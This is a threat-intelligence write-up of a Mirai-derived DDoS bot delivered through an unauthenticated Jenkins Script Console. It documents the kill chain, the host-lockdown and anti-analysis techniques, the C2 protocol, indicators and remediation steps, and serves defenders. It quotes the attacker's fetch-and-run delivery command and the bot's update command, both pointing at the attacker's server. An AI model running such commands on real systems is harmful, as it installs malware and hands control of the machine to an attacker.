The DDoS Zombie That Won't Let Go
A device we operate, presenting as a Jenkins build server, was broken into twice through its unauthenticated Script Console. Both times the operator dropped a Mirai-derived DDoS bot that locks the machine down first: it kills SSH/Telnet, zeroes permissions on every download tool, poisons /etc/hosts against AV vendors, kills analysis tools on launch, and wipes the logs — so the box stops behaving like one you own before it ever floods a target. Full kill chain, IOCs, and defensive checks inside.
The DDoS Zombie That Won’t Let Go
State of the Attack · TLP:CLEAR · September 2026
Summary
A device we operate, presenting as a Jenkins build server, was broken into twice through its Script Console — the built-in admin feature that runs code on the server for anyone who can reach it. The same operator came back seven days later with a rebuilt version of the same malware.
It is a denial-of-service bot that turns the machine into a DDoS zombie — a host conscripted into a botnet that sits idle under someone else’s control until it is ordered to flood a target. The attack part is not novel; what’s novel is what the machine does first — it takes the host away from everyone else, including you, so it stays a zombie nobody can reclaim.
It kills the SSH and Telnet services and firewalls off every
remote-access port. It sets wget, curl,
scp, tftp and sixteen other download tools to
permission 000 — on Linux that means nobody can read or run
them, not even root, so nothing new can be pulled onto the box. It
points twenty-one antivirus and malware-analysis domains at a dead
address so the machine can’t reach them. It deletes the logs. And it
installs itself as a system service that starts on boot and relaunches
the instant you kill it: kill the process and it comes straight
back.
For a defender the machine stops behaving like one you own. SSH does
not answer. curl does not run. ps,
netstat and tcpdump die as they start. It
looks like a broken box, not a compromised one — and the logs that would
tell you otherwise are gone.
The two are not the same file — the second is a full recompile, a different size with every internal address moved. But four things carried across unchanged, and that is what ties both to one operator: the same payload URL, the same hardcoded control address and port, the same handle stamped on the process, and an anti-analysis table that survived the recompile byte-for-byte. Everything else was rebuilt — the second build is a deliberate softening of the first, doing less damage and able to undo what it does.
Why it locks the machine down
This bot does not steal anything. There is no exfiltration, no data theft, no ransom. It is after the machine itself — its bandwidth and CPU, to throw at denial-of-service targets on command. The lockdown protects that asset two ways.
It keeps rivals off the box. It kills competing bots and cryptominers
and closes the ports they would re-enter through, so no other crew takes
the same machine. (The only place the word crypt appears
anywhere in the binary is inside cryptonight — a mining
algorithm, listed there so the bot can kill the miner and keep the CPU
for itself.)
And it keeps you from taking the box back. Disabling SSH, killing your inspection tools, blinding the host to antivirus, wiping the logs — none of that helps a data thief, who wants in and out fast. It helps someone who wants to hold the machine and keep it flooding.
Normally Mirai bots shut down Telnet after landing so nobody else grabs the same device. This one goes much further — it also disables the tools you would use to notice it and remove it.
What “locker” means here
The malware writes files named .locker.pid,
.locker.lock and .locker.ready and creates a
firewall chain called LOCKER_INPUT. The name reads like
ransomware, but it isn’t. There is no encryption code, no ransom note,
no walk over user files, nothing renamed or locked — we looked for all
of it, each check paired with a control to prove the search worked.
.locker.lock is a plain lock file it uses to stop two
copies running at once; .locker.pid holds its process
number. LOCKER is just what the author called the bot.
The handle it stamps on the machine
The bot renames its own running process to t.me/flylegit
— a Telegram handle — so it shows up that way in a process list. That is
the only place the handle appears. It does not connect to Telegram, does
not take commands from it, and sends nothing there; the control channel
is a hardcoded IP address (see “Calling home”). The handle is a
signature — the author tagging their work on every machine it runs. It
also carries a taunt for anyone taking it apart, signed with the same
handle, meant to print when a check for the /proc
filesystem fails. That check is a clumsy stab at spotting an analysis
environment: /proc exists on every running Linux system, so
it never fails and the taunt never prints.
The handle resolves to a live public Telegram channel that distributes DDoS and botnet source code and bruteforce tooling — consistent with an author advertising their work. It is not a control channel; nothing the bot does touches Telegram.
Getting in
The Script Console runs Groovy — a scripting language — with the service account’s privileges. There is no exploit and no vulnerability: the console was reachable without a password, so reaching it was already code execution.
The delivery command, recorded exactly as sent:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
(wget -O x86_64 hxxp://83.168.69[.]95/x86_64 ||
curl -o x86_64 hxxp://83.168.69[.]95/x86_64 ||
busybox wget -O x86_64 hxxp://83.168.69[.]95/x86_64) &&
chmod 777 x86_64 && ./x86_64; ./x86_64; ./x86_64; ./x86_64;
history -c
It tries five directories until one lets it write, so a locked-down
/tmp does not stop it. It tries three download tools in
turn — including BusyBox’s built-in wget, for stripped-down
systems. Then it runs the binary four times in a row.
The first break-in didn’t have any of that — one download tool, one launch. The operator changed the command because the earlier one kept missing: on some machines the download tool wasn’t installed, on others the binary didn’t start. The spares and the repeated launches are them patching around both.
What lands
A 71 KB executable packed with UPX, a common legitimate packer; it
unpacks to about 180 KB. It is written in C and statically linked
against uClibc, the compact C library used on routers and embedded
devices — the same build setup the Mirai botnet family uses. It borrows
Mirai’s vocabulary too: attack methods named udpplain,
syn, std, ack, ovh,
and the same style of rival-kill list.
It is not Mirai. Mirai’s control protocol is binary; this one is plain text, and the self-defence layer below has no Mirai equivalent. Whoever wrote it knows the family well and built their own.
Locking the machine down
It disables remote access. It kills
sshd, dropbear, ftpd,
vncserver, xinetd and in.telnetd,
then adds a firewall chain, LOCKER_INPUT, dropping inbound
traffic on ports 21, 22, 23, 2222, 2323, 3389, 5800, 5801, 5900, 5901
and 5902 — SSH, Telnet, RDP and VNC.
It disables downloading. For nineteen paths —
/bin/wget, /usr/bin/curl, tftp,
ftp, scp, fetch,
ftpget, axel, aria2c and their
/usr/local/bin variants — it sets the file’s permissions to
000. On Linux that strips all read, write and execute
rights for everyone including root: the tool is still on disk but
completely inert. It records each original permission in
/var/run/.disabled.list first, so it can restore them. With
every download tool dead, nothing else can be fetched onto the box.
It blinds the host to security vendors. It appends
twenty-one lines to /etc/hosts sending antivirus and
sandbox domains — Avast, AVG, VirusTotal, Kaspersky, Bitdefender,
Malwarebytes, any.run, Hybrid Analysis, Joe Sandbox, URLhaus,
ThreatCrowd, AlienVault OTX — to 0.0.0.0, so the machine
cannot reach them. This is not the bot checking whether it is in a
sandbox and hiding; there is no such branch in it. It is stopping the
victim’s machine from reaching help. It checks for duplicates first, so
running it repeatedly leaves a clean file.
It kills your tools. A routine walks
/proc and sends SIGKILL to any process named
ps, top, htop,
pstree, netstat, ss,
lsof, tcpdump, tshark,
iftop, nethogs, strace,
ltrace, gdb, perf,
sysdig, journalctl, dmesg or
auditd, the moment they start.
It deletes the logs. /var/log/auth.log,
syslog, messages, secure,
wtmp, btmp, lastlog,
faillog, dmesg, kern.log, and the
journal and audit directories — deleted and
recreated empty, not truncated. It also wipes .bash_history
and .zsh_history for the current user and root.
The first build went one step further and froze the logging daemons
outright — SIGSTOP to systemd-journald, auditd
and rsyslogd, with a handler to thaw them on exit. The
second build dropped this.
Staying hidden from analysis
Run strings on this binary and you get a misleading
picture: the readable text is mundane and gives little away. The list of
tools it actually hunts for is not stored as readable text at all — it
is scrambled, so it never shows up in that output. We unscrambled
it.
At a fixed offset sits a table of ten sixteen-byte entries, each byte
combined with the value 0xE7. We reversed that and
recovered the list it checks running processes against:
gdb strace ltrace objdump readelf strings radare2 iaito ghidra binwalk
The table is byte-for-byte identical in both builds — one of the anchors that ties them to the same author.
A background thread runs four more checks every ten seconds: it calls
ptrace on itself so a debugger cannot attach; it reads
TracerPid from /proc/self/status; it hashes
its own executable memory with FNV-1a against a baseline; and it scans
that memory for 0xCC, the byte a debugger writes to set a
breakpoint. If any check fires, it kills itself and relaunches from
/proc/self/exe — so an analyst who attaches a debugger sees
the process vanish and reappear rather than crash. It also sets
PR_SET_DUMPABLE and PR_SET_PTRACER to 0, sets
the core-dump limit to 0, and writes -1000 to
/proc/self/oom_score_adj so the kernel spares it under
memory pressure.
Persistence — it puts itself back
It writes /etc/systemd/system/system-helper.service, a
plausible-looking service named “System Helper” with
Restart=always, then runs
systemctl daemon-reload and systemctl enable.
It deletes its own file from disk right after starting, so there is
nothing obvious to find — but the service brings it back on every boot,
and Restart=always brings it back the moment the process
dies. Combined with the relaunch-from-memory routine above, killing it
by hand does not remove it; it returns immediately. This is the piece
that has to be pulled out by name before anything else you do
sticks.
The running daemon renames itself kworker/0:0, mimicking
a kernel worker thread. A genuine kworker is a child of
kthreadd and never holds a network socket. So a process
named kworker/0:0 with a live TCP connection is not a
kernel thread at all — it is this bot wearing the name.
Cron is not used for persistence; it is destroyed. The first build
kills the cron daemons and deletes root’s crontab and everything in
/etc/cron.d. The second build kills the same daemons but
moves those files to /var/run/.cron_backup and restores
them if it shuts down cleanly.
The second build also appends the single line stealth to
/etc/modules, the list of kernel modules Debian and Ubuntu
load at boot. No such module is present in either sample. That line
points at a component of this toolkit we have not seen, and it is worth
searching for on its own.
Calling home
It calls a hardcoded address written straight into the binary —
83.168.69[.]95 on port 9482. No domain, no DNS
lookup, no fallback, no encrypted config block. The same address and
port in both builds. The address is a rented server in Warsaw, Poland
(AS202520, SkyPass Solutions), and it is the same machine that served
the binary in the first place — port 80 hands out the payload, port 9482
runs control.
On connect it reads MemTotal from
/proc/meminfo, counts processors in
/proc/cpuinfo, and sends one line of plain text:
x86_64 default 3936 2
That is architecture, a group tag, memory in megabytes, and processor
count. The group tag defaults to default and is overridden
by the first command-line argument — so that second field on the wire is
the operator’s own label for the batch of machines.
Commands arrive as plain text, no encryption, no framing.
ping gets pong x86_64. stop halts
the current attack. !kill terminates the process group.
Anything else is an attack order — method, target, port, duration — and
this is the denial-of-service function: on command, the bot floods a
target the operator names. The methods are udpplain,
syn, std, pps, ack,
raknet, ssh, http,
tcpstomp, minecraft and ovh. If
it cannot reach the C2 it waits eight seconds and retries, and gives up
after 450 straight failures.
There is also an !update command. It builds and
runs:
cd /tmp; wget -q hxxp://%s:%d/%s -O .b; chmod +x .b; ./.b &
(scheme defanged)
The three blanks default to the control address, port 80, and the
string x86_64 — which rebuilds the exact URL that delivered
the sample in the first place. The bot’s own update path points back at
the server that dropped it, so delivery and control are the same
infrastructure. That link comes from the code, not from two events
lining up.
The flood traffic
When it runs an HTTP flood it builds every request from one fixed
template. Its browser-identification strings are cut short: they end at
AppleWebKit/537.36 or AppleWebKit/605.1.15
with nothing after. A real browser always continues —
(KHTML, like Gecko) Chrome/... or
Version/... Safari/.... Cutting the string short buys the
attacker nothing — a complete one would blend in better, not worse — so
this reads as an unfinished template rather than an attempt to hide, and
it leaves a clean signature either way. That truncation, with the fixed
Accept-Language: en-US,en;q=0.5 and
Accept-Encoding: gzip, deflate headers, picks this traffic
out of a flood without needing the source addresses. The paths it cycles
are /index.html, /wp-admin,
/api/v1, /images/,
/css/style.css, /js/main.js,
/about, /contact and
/products.
Two builds, seven days apart
Both were served from the same URL. They are not the same file, and not a repack — the unpacked programs differ in size and content and every internal address moved. This is a recompile of changed source by the same author.
| First build | Second build | |
|---|---|---|
| Freezes logging daemons | Yes | No |
| Cron configuration | Deleted | Backed up and restored |
| Firewall teardown | Rules only | Full teardown ruleset |
| Off-switch file | No | Yes |
| Hidden re-execution from memory | Yes | Removed |
Reads /dev/input |
No | Yes — but discards everything |
Appends to /etc/modules |
No | Yes |
Every change points the same way: the second build does less damage and can undo what it does. That fits a booter — a denial-of-service-for-hire service, which earns only while its machines are up and flooding on demand. A bricked machine earns nothing, so making the infection reversible protects the earner.
One note on that table. The second build opens
/dev/input/event0 and reads keyboard events in a loop — the
shape of a keylogger. It throws them away. The buffer is never used,
there is no key mapping, no output file, nothing is sent. As it stands
it records nothing. We flag it because a process holding an input device
open is worth finding, and because this looks like an early, unfinished
version of a feature a later build could switch on.
Timeline
Dates are given at month level. “Day 1” and “day 8” are relative to the first capture.
| When | What |
|---|---|
| June 2026 | First activity from this cluster against the device — reconnaissance of the Jenkins surface only |
| July–August 2026 | Repeated Script Console access from more addresses on the same hosting, all fetching the same payload URL |
| September 2026, day 1 | First build captured. Delivery command uses one download tool and one launch |
| September 2026, day 1 | Payload retrieved and analysed offline. UPX-packed, 71,744 bytes |
| September 2026, day 7 | Delivery command revised — three download-tool fallbacks added, binary launched four times |
| September 2026, day 8 | Second build captured from the same URL. Different file, 71,124 bytes. Recompiled, not repacked |
| September 2026, day 8 | Both builds unpacked and reverse-engineered; control address and port confirmed in disassembly |
What defenders should look for
Highest value first. The first two are persistent configuration changes that survive the malware itself and are cheap to sweep across an estate.
A firewall chain named
LOCKER_INPUT.
iptables -L LOCKER_INPUT -n 2>/dev/null && echo "COMPROMISED"
Antivirus vendors pointed at 0.0.0.0 in
/etc/hosts.
grep -E '^0\.0\.0\.0\s+(www\.)?(virustotal|kaspersky|bitdefender|malwarebytes|avast|avg|any\.run|joesandbox|hybrid-analysis)' /etc/hosts
Download tools with permissions set to zero.
find /bin /usr/bin /usr/local/bin -maxdepth 1 \
\( -name wget -o -name curl -o -name tftp -o -name scp -o -name aria2c \) \
-perm 000 -ls
The service and its state files.
ls -l /etc/systemd/system/system-helper.service
ls -l /var/run/.locker.pid /var/run/.locker.lock /var/run/.locker.ready \
/var/run/.disabled.list /var/run/.iptables.rules
A fake kernel worker. A process named
kworker/0:0 whose parent is not kthreadd, or
which holds a network socket:
ps -eo pid,ppid,comm | awk '$3 ~ /^kworker/ {print}'
A process named t.me/flylegit.
Second build only:
/var/run/.cron_backup/,
/var/run/.locker.disabled, the line stealth in
/etc/modules, and a process holding a file handle on
/dev/input/event*.
On the network: a connection to a fixed external
address every eight seconds whose first packet is under 64 bytes of
readable text beginning x86_64; the reply
pong x86_64; and outbound HTTP with a browser string ending
at AppleWebKit/ and nothing after.
Remediation
Because the bot disables the tools you would normally use, the order matters.
- Isolate at the network, not on the host. You may not be able to log in.
- Get console access — physical, IPMI, or hypervisor. SSH is off and firewalled.
- Remove the firewall chain first, or you keep
locking yourself out:
iptables -D INPUT -j LOCKER_INPUT; iptables -F LOCKER_INPUT; iptables -X LOCKER_INPUT - Restore the download tools from
/var/run/.disabled.list, which holds the original permissions aspath modepairs. - Clean
/etc/hostsof the0.0.0.0vendor entries. - Disable and delete
system-helper.service, thensystemctl daemon-reload— it restarts on its own until you do. - Check
/etc/modulesfor astealthline and remove it. - Restore cron from
/var/run/.cron_backup/if present; otherwise rebuild it — the first build deleted it outright. - Rebuild the host. The logs are gone, so you cannot establish what else happened. Treat every credential on the machine as exposed.
Recommendations
- Take the Jenkins Script Console off the internet. It is remote code execution by design for anyone who reaches it. Require authentication and put the instance behind a VPN or an address allowlist. This closes the door used by every group we have seen against this surface, not just this one.
- Hunt on configuration, not hashes. The operator
rebuilt the binary inside seven days from the same URL, so a hash block
lapses fast. The
LOCKER_INPUTchain and the0.0.0.0antivirus entries in/etc/hostsare persistent, cheap to sweep for, and survive the malware being removed. - Alert on a
kworkerprocess that holds a network socket. Real kernel worker threads never do. Low-noise, and it catches the whole class of process-name masquerading, not only this bot. - Treat “the host has gone strange” as a compromise
signal. A box where SSH stopped answering,
curlno longer runs andpsexits immediately looks broken. Those three together are this bot’s lockdown, and the logs that would confirm it are already gone. - Plan for out-of-band access. Recovery here needs console, IPMI or hypervisor access, because remote access is disabled and firewalled. If your estate has no path to a host that has lost SSH, this class of malware costs you far more time than it should.
- Search for the uncaptured component. The later
build adds a
stealthentry to/etc/moduleswith no matching module in the sample. If you find that line, you may have a piece of this toolkit we have not seen — and we would value hearing about it.
Indicators
Files
/var/run/.locker.pid
/var/run/.locker.lock
/var/run/.locker.ready
/var/run/.watchdog.pid
/var/run/.disabled.list
/var/run/.iptables.rules
/etc/systemd/system/system-helper.service
/var/run/.cron_backup/ (second build)
/var/run/.locker.disabled (second build)
Host configuration
iptables chain: LOCKER_INPUT
/etc/hosts: 21 appended 0.0.0.0 entries for AV and sandbox vendors
/etc/modules: a line reading "stealth" (second build)
process names: kworker/0:0 (not a child of kthreadd) · t.me/flylegit
Network
C2 registration: ASCII "x86_64 <group> <memMB> <cpus>", first packet, <64 bytes
C2 keepalive: "ping" -> "pong x86_64"
Retry cadence: 8 seconds; gives up after 450 failures
Update fetch: GET /<arch> where arch is one of
x86_64 arm4 arm5 arm6 arm7 mips mipsel mpsl m68k sparc
HTTP flood: User-Agent ending at AppleWebKit/537.36 or /605.1.15,
with no "(KHTML, like Gecko)" continuation
Infrastructure
| Type | Value | Note |
|---|---|---|
| Command and control | 83.168.69[.]95:9482 |
Hardcoded as a literal IPv4 address and fixed port in both builds. No domain, no lookup, no fallback |
| Staging server | 83.168.69[.]95 |
Same host, port 80. Serves architecture-named binaries |
| Payload URL | hxxp://83.168.69[.]95/x86_64 |
Both builds delivered from this one URL |
| Update endpoint | hxxp://83.168.69[.]95:80/<arch> |
Default target of the !update command — reconstructed
from the code, identical to the delivery URL |
| Actor handle | t.me/flylegit |
Written to the process name and command line at runtime. Branding only — not a control channel |
The control address and the staging server are the same machine on
two ports. Blocking the address covers both, but record the ports
separately: 9482 carries the plain-text control channel,
80 serves the binaries.
File hashes
| Build | As served (UPX-packed) | Unpacked |
|---|---|---|
| First (day 1) | 089001308fa15871b78ca49565e647a4d9aa08df6dc0ebfe64f0e44b35c4179e |
2c9522f08c1df3303c65b045644ed397b2900200fa4e0d30714f4c1653b7f36d |
| Second (day 8) | 07e3766d57a29cede53c7adb97aec0736bc2fe7487f4ba0d3c4d769cc6b3269d |
28b6f9e1fa9a31bdaf664e8a2ea09e36e0cb4f91cd2c3a2f0258f4bf08f74b3e |
At capture, all four hashes were absent from every public source we checked — VirusTotal, MalwareBazaar, URLhaus, ThreatFox and OpenCTI — with the control confirming the lookups were live; this analysis was the first anyone had published on the sample. We have since submitted both as-served binaries to VirusTotal ourselves, after publishing this analysis, so AV and EDR vendors can build detections from them. Treat the packed hashes as short-lived regardless: the operator rebuilt within seven days from the same URL, so a hash-only block will lapse. The host-configuration indicators above are the durable ones.
Full indicator list ships in the accompanying CSV.
Closing
Getting in took nothing clever: an admin console left open, the same one plenty of other groups have used on this device to drop their own malware.
The effort is all in what comes after. Using only routine system administration — firewall rules, file permissions, the hosts file, a systemd service — the bot makes the machine unusable to its owner and keeps it for itself. Kill it and it restarts; try to look at it and your tools are killed; try to log in and you can’t. There is no rootkit and nothing exotic about how it does any of this. The second build shows the operator dialling it back — a machine bricked hard enough to fall offline can’t flood anyone, and that is the only thing it is for.
Indicators of Compromise
83.168.69.9583.168.69.95:948283.168.69.95:80hxxp://83.168.69.95/x86_64089001308fa15871b78ca49565e647a4d9aa08df6dc0ebfe64f0e44b35c4179e2c9522f08c1df3303c65b045644ed397b2900200fa4e0d30714f4c1653b7f36d07e3766d57a29cede53c7adb97aec0736bc2fe7487f4ba0d3c4d769cc6b3269d28b6f9e1fa9a31bdaf664e8a2ea09e36e0cb4f91cd2c3a2f0258f4bf08f74b3et.me/flylegitLOCKER_INPUT/etc/systemd/system/system-helper.service/var/run/.locker.pid/var/run/.locker.lock/var/run/.locker.ready/var/run/.watchdog.pid/var/run/.disabled.list/var/run/.iptables.rules/var/run/.cron_backup//var/run/.locker.disabledstealthkworker/0:0x86_64 <group> <mem> <cpus>pong x86_64AppleWebKit/537.36AppleWebKit/605.1.150.0.0.0 virustotal.com0.0.0.0 any.run0.0.0.0 joesandbox.com0.0.0.0 hybrid-analysis.com0.0.0.0 urlhaus.abuse.ch
Detection Rules & IOCs
No formal detection rule ships with this campaign. The durable indicators are host configuration changes that survive the malware being removed, not a signature file — the first two below are the highest-value, cheapest to sweep across an estate.
flylegit-locker-ddos-bot-iocs.csv
In plain terms
- A firewall chain named LOCKER_INPUT: iptables -L LOCKER_INPUT -n
- Antivirus vendors pointed at 0.0.0.0 in /etc/hosts
- Download tools (wget, curl, tftp, scp, aria2c, and others) with permissions set to 000
- The service and its state files: system-helper.service, .locker.pid/.lock/.ready, .disabled.list, .iptables.rules
- A process named kworker/0:0 whose parent is not kthreadd, or which holds a network socket
- A process named t.me/flylegit
Frequently asked
What is The DDoS Zombie That Won't Let Go?
A device we operate, presenting as a Jenkins build server, was broken into twice through its unauthenticated Script Console. Both times the operator dropped a Mirai-derived DDoS bot that locks the machine down first: it kills SSH/Telnet, zeroes permissions on every download tool, poisons /etc/hosts against AV vendors, kills analysis tools on launch, and wipes the logs — so the box stops behaving like one you own before it ever floods a target. Full kill chain, IOCs, and defensive checks inside.
What are the indicators of compromise (IOCs) for The DDoS Zombie That Won't Let Go?
Key indicators include 83.168.69.95, 83.168.69.95:9482, 83.168.69.95:80, hxxp://83.168.69.95/x86_64, 089001308fa15871b78ca49565e647a4d9aa08df6dc0ebfe64f0e44b35c4179e, 2c9522f08c1df3303c65b045644ed397b2900200fa4e0d30714f4c1653b7f36d, and more. The full list and a downloadable IOC CSV are in the Detection Rules & IOCs section.
How do I detect The DDoS Zombie That Won't Let Go?
The DDoS Zombie That Won't Let Go can be detected with IOC CSV — all downloadable on this page. No formal detection rule ships with this campaign. The durable indicators are host configuration changes that survive the malware being removed, not a signature file — the first two below are the highest-value, cheapest to sweep across an estate.
What MITRE ATT&CK techniques does The DDoS Zombie That Won't Let Go use?
The DDoS Zombie That Won't Let Go maps to T1190, T1059.004, T1543.002, T1562.004, T1489, T1562.001, T1070.002, T1070.003, T1027, T1622, T1036.004, T1571, T1498.
External references
These indicators are published to the threat-intelligence community. Verify or pull them from: